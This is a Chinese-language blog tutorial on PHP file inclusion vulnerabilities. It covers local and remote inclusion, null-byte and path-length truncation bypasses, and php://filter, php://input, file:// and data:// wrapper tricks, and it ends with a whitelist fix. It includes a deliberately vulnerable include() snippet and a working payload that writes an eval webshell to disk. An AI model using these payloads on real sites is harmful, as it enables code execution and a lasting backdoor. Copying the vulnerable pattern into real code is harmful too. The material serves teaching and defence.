Web安全之文件包含漏洞

文件包含漏洞

漏洞成因:

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

例如:

<?php
   $filename  = $_GET['filename'];
   include($filename);
?>

没有对接收的$filename变量进行严格的过滤,当用户通过其他漏洞向服务器上传了包含后门代码的文件(图片马等),可以结合包含漏洞将图片马中的代码执行,造成getshell

漏洞检测:

白盒(代码审计):

php中的文件包含函数:include(),require(),include_once(),require_once

include()和require主要区别是include在包含过程中出错会抛出异常继续执行

require直接退出执行

黑盒:

漏扫工具

公开漏洞

手工看参数值及功能点

漏洞分类:

本地包含(LFI):

有限制:

后端强制固定后缀(.html)

php%00截断绕过:

条件:magic_quotes_gpc = off php版本<5.3.4

例如:filename=../../../shell.txt%00

长度截断:

条件:windows服务器,点号需要长于256;

linux服务器 长于4096

例:filename=shell.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

远程包含(RFI):

有限制:

文件名后加%23 %20 ? 等

php伪协议

filter://

读取文件源码:

php://filter/read=convert.base64-encode/resource=文件名

include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

base64加密是防止代码乱码

input://

执行PHP代码:

php://input+[POST DATA]

http://127.0.0.1/include.php?file=php://input[POST DATA部分]

<?php phpinfo();?>
写入一句话木马:

http://127.0.0.1/include.php?file=php://input[POST DATA部分]

<?fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd])?>'); ?>

file读取文件://

http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt

data执行php代码://

http://127.0.0.1:8080/include.php?filename=data://text/plain,

<?php%20phpinfo();?>

漏洞修复:

相对于直接关闭远程包含参数开关,彻底切断这个业务相比较。

目前业内最好的修复方案即是设置类似白名单的方法,通过筛选固定文件名方法,一方面不必切断这个业务,另一方面又不会被轻易绕过



posted @ 2021-05-14 22:10  mrob0t  阅读(127)  评论(0编辑  收藏  举报